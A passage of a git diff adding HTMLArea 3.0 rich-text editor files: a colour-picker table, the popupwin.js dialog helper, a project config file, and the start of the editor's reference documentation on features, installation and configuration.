+<td bgcolor=#3366FF onMouseOver=View('3366FF') onClick=Set('3366FF') height="10px" width="10px"></td>
+<td bgcolor=#3399FF onMouseOver=View('3399FF') onClick=Set('3399FF') height="10px" width="10px"></td>
+<td bgcolor=#33CCFF onMouseOver=View('33CCFF') onClick=Set('33CCFF') height="10px" width="10px"></td>
+<td bgcolor=#33FFFF onMouseOver=View('33FFFF') onClick=Set('33FFFF') height="10px" width="10px"></td>
+<td bgcolor=#6600FF onMouseOver=View('6600FF') onClick=Set('6600FF') height="10px" width="10px"></td>
+<td bgcolor=#6633FF onMouseOver=View('6633FF') onClick=Set('6633FF') height="10px" width="10px"></td>
+<td bgcolor=#6666FF onMouseOver=View('6666FF') onClick=Set('6666FF') height="10px" width="10px"></td>
+<td bgcolor=#6699FF onMouseOver=View('6699FF') onClick=Set('6699FF') height="10px" width="10px"></td>
+<td bgcolor=#66CCFF onMouseOver=View('66CCFF') onClick=Set('66CCFF') height="10px" width="10px"></td>
+<td bgcolor=#66FFFF onMouseOver=View('66FFFF') onClick=Set('66FFFF') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990000 onMouseOver=View('990000') onClick=Set('990000') height="10px" width="10px"></td>
+<td bgcolor=#993300 onMouseOver=View('993300') onClick=Set('993300') height="10px" width="10px"></td>
+<td bgcolor=#996600 onMouseOver=View('996600') onClick=Set('996600') height="10px" width="10px"></td>
+<td bgcolor=#999900 onMouseOver=View('999900') onClick=Set('999900') height="10px" width="10px"></td>
+<td bgcolor=#99CC00 onMouseOver=View('99CC00') onClick=Set('99CC00') height="10px" width="10px"></td>
+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#5b84ab onMouseOver=View('5b84ab') onClick=Set('5b84ab') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
diff --git a/admin/htmlarea/popupwin.js b/admin/htmlarea/popupwin.js
new file mode 100755 (executable)
index 0000000..0e0c426
--- /dev/null
@@ -0,0 +1,139 @@
+// (c) dynarch.com 2003-2004
+// Distributed under the same terms as HTMLArea itself.
+
+function PopupWin(editor, title, handler, initFunction) {
+       this.editor = editor;
+       this.handler = handler;
+       var dlg = window.open("", "__ha_dialog",
+                             "toolbar=no,menubar=no,personalbar=no,width=600,height=600,left=20,top=40" +
+                             "scrollbars=no,resizable=no");
+       this.window = dlg;
+       var doc = dlg.document;
+       this.doc = doc;
+       var self = this;
+
+       var base = document.baseURI || document.URL;
+       if (base && base.match(/(.*)\/([^\/]+)/)) {
+               base = RegExp.$1 + "/";
+       }
+       if (typeof _editor_url != "undefined" && !/^\//.test(_editor_url)) {
+               // _editor_url doesn't start with '/' which means it's relative
+               // FIXME: there's a problem here, it could be http:// which
+               // doesn't start with slash but it's not relative either.
+               base += _editor_url;
+       } else
+               base = _editor_url;
+       if (!/\/$/.test(base)) {
+               // base does not end in slash, add it now
+               base += '/';
+       }
+       this.baseURL = base;
+
+       doc.open();
+       var html = "<html><head><title>" + title + "</title>\n";
+       // html += "<base href='" + base + "htmlarea.js' />\n";
+       html += "<style type='text/css'>@import url(" + base + "htmlarea.css);</style></head>\n";
+       html += "<body class='dialog popupwin' id='--HA-body'></body></html>";
+       doc.write(html);
+       doc.close();
+
+       // sometimes I Hate Mozilla... ;-(
+       function init2() {
+               var body = doc.body;
+               if (!body) {
+                       setTimeout(init2, 25);
+                       return false;
+               }
+               dlg.title = title;
+               doc.documentElement.style.padding = "0px";
+               doc.documentElement.style.margin = "0px";
+               var content = doc.createElement("div");
+               content.className = "content";
+               self.content = content;
+               body.appendChild(content);
+               self.element = body;
+               initFunction(self);
+               dlg.focus();
+       };
+       init2();
+};
+
+PopupWin.prototype.callHandler = function() {
+       var tags = ["input", "textarea", "select"];
+       var params = new Object();
+       for (var ti in tags) {
+               var tag = tags[ti];
+               var els = this.content.getElementsByTagName(tag);
+               for (var j = 0; j < els.length; ++j) {
+                       var el = els[j];
+                       var val = el.value;
+                       if (el.tagName.toLowerCase() == "input") {
+                               if (el.type == "checkbox") {
+                                       val = el.checked;
+                               }
+                       }
+                       params[el.name] = val;
+               }
+       }
+       this.handler(this, params);
+       return false;
+};
+
+PopupWin.prototype.close = function() {
+       this.window.close();
+};
+
+PopupWin.prototype.addButtons = function() {
+       var self = this;
+       var div = this.doc.createElement("div");
+       this.content.appendChild(div);
+       div.className = "buttons";
+       for (var i = 0; i < arguments.length; ++i) {
+               var btn = arguments[i];
+               var button = this.doc.createElement("button");
+               div.appendChild(button);
+               button.innerHTML = HTMLArea.I18N.buttons[btn];
+               switch (btn) {
+                   case "ok":
+                       button.onclick = function() {
+                               self.callHandler();
+                               self.close();
+                               return false;
+                       };
+                       break;
+                   case "cancel":
+                       button.onclick = function() {
+                               self.close();
+                               return false;
+                       };
+                       break;
+               }
+       }
+};
+
+PopupWin.prototype.showAtElement = function() {
+       var self = this;
+       // Mozilla needs some time to realize what's goin' on..
+       setTimeout(function() {
+               var w = self.content.offsetWidth + 4;
+               var h = self.content.offsetHeight + 4;
+               // size to content -- that's fuckin' buggy in all fuckin' browsers!!!
+               // so that we set a larger size for the dialog window and then center
+               // the element inside... phuck!
+
+               // center...
+               var el = self.content;
+               var s = el.style;
+               // s.width = el.offsetWidth + "px";
+               // s.height = el.offsetHeight + "px";
+               s.position = "absolute";
+               s.left = (w - el.offsetWidth) / 2 + "px";
+               s.top = (h - el.offsetHeight) / 2 + "px";
+               if (HTMLArea.is_gecko) {
+                       self.window.innerWidth = w;
+                       self.window.innerHeight = h;
+               } else {
+                       self.window.resizeTo(w + 8, h + 35);
+               }
+       }, 25);
+};
diff --git a/admin/htmlarea/project-config.xml b/admin/htmlarea/project-config.xml
new file mode 100755 (executable)
index 0000000..3de82ac
--- /dev/null
@@ -0,0 +1,4 @@
+<project title="HTMLArea">
+  <version>3.0</version>
+  <release>rc1</release>
+</project>
diff --git a/admin/htmlarea/reference.html b/admin/htmlarea/reference.html
new file mode 100755 (executable)
index 0000000..0760a73
--- /dev/null
@@ -0,0 +1,523 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html> <head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>HTMLArea-3.0 Reference</title>
+
+<style type="text/css">
+  @import url(htmlarea.css);
+  body { font: 14px verdana,sans-serif; background: #fff; color: #000; }
+  h1, h2 { font-family:tahoma,sans-serif; }
+  h1 { border-bottom: 2px solid #000; }
+  h2 { border-bottom: 1px solid #aaa; }
+  h3, h4 { margin-bottom: 0px; font-family: Georgia,serif; font-style: italic; }
+  h4 { font-size: 90%; margin-left: 1em; }
+  acronym { border-bottom: 1px dotted #063; color: #063; }
+  p { margin-left: 2em; margin-top: 0.3em; }
+  li p { margin-left: 0px; }
+  .abstract { padding: 5px; margin: 0px 10em; font-size: 90%; border: 1px dashed #aaa; background: #eee;}
+  li { margin-left: 2em; }
+  em { color: #042; }
+  a { color: #00f; }
+  a:hover { color: #f00; }
+  a:active { color: #f80; }
+  span.browser { font-weight: bold; color: #864; }
+  .fixme { font-size: 20px; font-weight: bold; color: red; background: #fab;
+padding: 5px; text-align: center; }
+  .code {
+   background: #e4efff; padding: 5px; border: 1px dashed #abc; margin-left: 2em; margin-right: 2em;
+   font-family: fixed,"lucidux mono","andale mono","courier new",monospace;
+  }
+  .note, .warning { font-weight: bold; color: #0a0; font-variant: small-caps; }
+  .warning { color: #a00; }
+
+.string {
+  color: #06c;
+} /* font-lock-string-face */
+.comment {
+  color: #840;
+} /* font-lock-comment-face */
+.variable-name {
+  color: #000;
+} /* font-lock-variable-name-face */
+.type {
+  color: #008;
+  font-weight: bold;
+} /* font-lock-type-face */
+.reference {
+  color: #048;
+} /* font-lock-reference-face */
+.preprocessor {
+  color: #808;
+} /* font-lock-preprocessor-face */
+.keyword {
+  color: #00f;
+  font-weight: bold;
+} /* font-lock-keyword-face */
+.function-name {
+  color: #044;
+} /* font-lock-function-name-face */
+.html-tag {
+  font-weight: bold;
+} /* html-tag-face */
+.html-helper-italic {
+  font-style: italic;
+} /* html-helper-italic-face */
+.html-helper-bold {
+  font-weight: bold;
+} /* html-helper-bold-face */
+
+</style>
+
+<script type="text/javascript">
+  _editor_url = './';
+  _editor_lang = 'en';
+</script>
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+<script tyle="text/javascript" src="lang/en.js"></script>
+
+</head>
+
+<body onload="HTMLArea.replace('TA')">
+
+
+<h1>HTMLArea-3.0 Documentation</h1>
+
+<div class="abstract" style="color: red; font-weight: bold">
+
+      This documentation contains valid information, but is outdated in the
+      terms that it does not covers all the features of HTMLArea.  A new
+      documentation project will be started, based on LaTeX.
+
+</div>
+
+
+<h2>Introduction</h2>
+
+<h3>What is HTMLArea?</h3>
+
+<p>HTMLArea is a free <acronym title="What You See Is What You Get"
+>WYSIWYG</acronym> editor replacement for <code>&lt;textarea&gt;</code>
+fields.  By adding a few simple lines of JavaScript code to your web page
+you can replace a regular textarea with a rich text editor that lets your
+users do the following:</p>
+
+<ul>
+  <li>Format text to be bold, italicized, or underlined.</li>
+  <li>Change the face, size, style and color.</li>
+  <li>Left, center, or right-justify paragraphs.</li>
+  <li>Make bulleted or numbered lists.</li>
+  <li>Indent or un-indent paragraphs.</li>
+  <li>Insert a horizontal line.</li>
+  <li>Insert hyperlinks and images.</li>
+  <li>View the raw HTML source of what they're editing.</li>
+  <li>and much more...</li>
+</ul>
+
+<p>Some of the interesting features of HTMLArea that set's it apart from
+other web based WYSIWYG editors are as follows:</p>
+
+<ul>
+  <li>It's lightweight, fast loading and can transform a regular textarea
+  into a rich-text editor with a single line of JavaScript.</li>
+  <li>Generates clean, valid HTML.</li>
+  <li>It degrades gracefully to older or non-supported browsers
+  (they get the original textarea field).</li>
+  <li>It's free and can be incorporated into any free or commercial
+  program.</li>
+  <li>It works with any server-side languages (ASP, PHP, Perl, Java,
+  etc).</li>
+  <li>It's written in JavaScript and can be easily viewed, modified or
+  extended.</li>
+  <li>It remembers entered content when a user navigates away and then hits
+  "back" in their browser.</li>
+  <li>Since it replaces existing textareas it doesn't require a lot of code
+  to add it to your pages (just one line).</li>
+  <li>Did we mention it was free? ;-)</li>
+</ul>
+
+<h3>Is it really free?  What's the catch?</h3>
+
+<p>Yes! It's really free. You can use it, modify it, distribute it with your
+software, or do just about anything you like with it.</p>
+
+<h3>What are the browser requirements?</h3>
+
+<p>HTMLArea requires <span class="browser"><a
+href="http://www.microsoft.com/ie">Internet Explorer</a> &gt;= 5.5</span>
+(Windows only), or <span class="browser"><a
+href="http://mozilla.org">Mozilla</a> &gt;= 1.3-Beta</span> on any platform.
+Any browser based on <a href="http://mozilla.org/newlayout">Gecko</a> will
+also work, provided that Gecko version is at least the one included in
+Mozilla-1.3-Beta (for example, <a
+href="http://galeon.sf.net">Galeon-1.2.8</a>).  However, it degrades
+gracefully to other browsers. They will get a regular textarea field
+instead of a WYSIWYG editor.</p>
+
+<h3>Can I see an example of what it looks like?</h3>
+
+<p>Just make sure you're using one of the browsers mentioned above and see
+below.</p>
+
+<form onsubmit="return false;">
+<textarea id="TA" style="width: 100%; height: 15em;">
+<p>Here is some sample text in textarea that's been transformed with <font
+color="#0000CC"><b>HTMLArea</b></font>.<br />
+You can make things <b>bold</b>, <i>italic</i>, <u>underline</u>.  You can change the
+<font size="3">size</font> and <b><font color="#0000CC">c</font><font color="#00CC00">o</font><font color="#00CCCC">l</font><font color="#CC0000">o</font><font color="#CC00CC">r</font><font color="#CCCC00">s</font><font color="#CCCCCC">!</font></b>
+And lots more...</p>
+
+<p align="center"><font size="4" color="#ff0000"><b><u>Try HTMLArea
+today!</u></b></font><br /></p>
+</textarea>
+</form>
+
+<h3>Where can I find out more info, download the latest version and talk to
+other HTMLArea users?</h3>
+
+<p>You can find out more about HTMLArea and download the latest version on
+the <a href="http://dynarch.com/htmlarea/">HTMLArea
+homepage</a> and you can talk to other HTMLArea users and post any comments
+or suggestions you have in the <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/"
+>HTMLArea forum</a>.</p>
+
+<h2>Keyboard shortcuts</h2>
+
+<p>The editor provides the following key combinations:</p>
+
+<ul>
+  <li>CTRL-A -- select all</li>
+  <li>CTRL-B -- bold</li>
+  <li>CTRL-I -- italic</li>
+  <li>CTRL-U -- underline</li>
+  <li>CTRL-S -- strikethrough</li>
+  <li>CTRL-L -- justify left</li>
+  <li>CTRL-E -- justify center</li>
+  <li>CTRL-R -- justify right</li>
+  <li>CTRL-J -- justify full</li>
+  <li>CTRL-1 .. CTRL-6 -- headings (&lt;h1&gt; .. &lt;h6&gt;)</li>
+  <li>CTRL-0 (zero) -- clean content pasted from Word</li>
+</ul>
+
+<h2>Installation</h2>
+
+<h3>How do I add HTMLArea to my web page?</h3>
+
+<p>It's easy.  First you need to upload HTMLArea files to your website.
+Just follow these steps.</p>
+
+<ol>
+  <li>Download the latest version from the <a
+  href="http://www.interactivetools.com/products/htmlarea/">htmlArea
+  homepage</a>.</li>
+  <li>Unzip the files onto your local computer (making sure to maintain the
+  directory structure contained in the zip).</li>
+  <li>Create a new folder on your website called /htmlarea/ (make sure it's
+  NOT inside the cgi-bin).</li>
+  <li>Transfer all the HTMLArea files from your local computer into the
+  /htmlarea/ folder on your website.</li>
+  <li>Open the example page /htmlarea/examples/core.html with your browser to make
+  sure everything works.</li>
+</ol>
+
+<p>Once htmlArea is on your website all you need to do is add some
+JavaScript to any pages that you want to add WYSIWYG editors to.  Here's how
+to do that.</p>
+
+<ol>
+
+  <li>Define some global variables.  "_editor_url" has to be the absolute
+  URL where HTMLArea resides within your
+  website; as we discussed, this would be “/htmlarea/”.  "_editor_lang" must
+  be the language code in which you want HTMLArea to appear.  This defaults
+  to "en" (English); for a list of supported languages, please look into
+  the "lang" subdirectory in the distribution.
+  <pre class="code"
+  ><span class="function-name">&lt;</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">&quot;text/javascript&quot;</span><span class="function-name">&gt;</span>
+   _editor_url = <span class="string">&quot;/htmlarea/&quot;</span>;
+   _editor_lang = <span class="string">&quot;en&quot;</span>;
+<span class="function-name">&lt;</span><span class="html-tag">/script</span><span class="function-name">&gt;</span></pre>
+
+  <li>Include the "htmlarea.js" script:
+  <pre class="code"
+  ><span class="function-name">&lt;</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">&quot;text/javascript&quot;</span> <span class="variable-name">src=</span><span class="string">&quot;/htmlarea/htmlarea.js&quot;</span><span class="function-name">&gt;</span><span class="paren-face-match">&lt;</span><span class="html-tag">/script</span><span class="paren-face-match">&gt;</span></pre>
+  </li>
+
+  <li><p>If you want to change all your &lt;textarea&gt;-s into
+  HTMLArea-s then you can use the simplest way to create HTMLArea:</p>
+  <pre class="code"
+  ><span class="function-name">&lt;</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">&quot;text/javascript&quot;</span> <span class="variable-name">defer=</span><span class="string">&quot;1&quot;</span><span class="function-name">&gt;</span>
+    HTMLArea.replaceAll<span class="function-name">()</span>;
+<span class="paren-face-match">&lt;</span><span class="html-tag">/script</span><span class="paren-face-match">&gt;</span></pre>
+  <p><span class="note">Note:</span> you can also add the
+  <code>HTMLArea.replaceAll()</code> code to the <code>onload</code>
+  event handler for the <code>body</code> element, if you find it more appropriate.</p>
+
+  <p>A different approach, if you have more than one textarea and only want
+  to change one of them, is to use <code>HTMLArea.replace("id")</code> --
+  pass the <code>id</code> of your textarea.  Do not use the
+  <code>name</code> attribute anymore, it's not a standard solution!</p>
+
+</ol>
+
+<p>This section applies to HTMLArea-3.0 release candidate 1 or later; prior
+to this version, one needed to include more files; however, now HTMLArea is
+able to include other files too (such as stylesheet, language definition
+file, etc.) so you only need to define the editor path and load
+"htmlarea.js".  Nice, eh? ;-)</p>
+
+<h3>I want to change the editor settings, how do I do that?</h3>
+
+<p>While it's true that all you need is one line of JavaScript to create an
+htmlArea WYSIWYG editor, you can also specify more config settings in the
+code to control how the editor works and looks.  Here's an example of some of
+the available settings:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config(); <span class="comment">// create a new configuration object
+</span>                                    <span class="comment">// having all the default values
+</span>config.width = '<span class="string">90%</span>';
+config.height = '<span class="string">200px</span>';
+
+<span class="comment">// the following sets a style for the page body (black text on yellow page)
+// and makes all paragraphs be bold by default
+</span>config.pageStyle =
+  '<span class="string">body { background-color: yellow; color: black; font-family: verdana,sans-serif } </span>' +
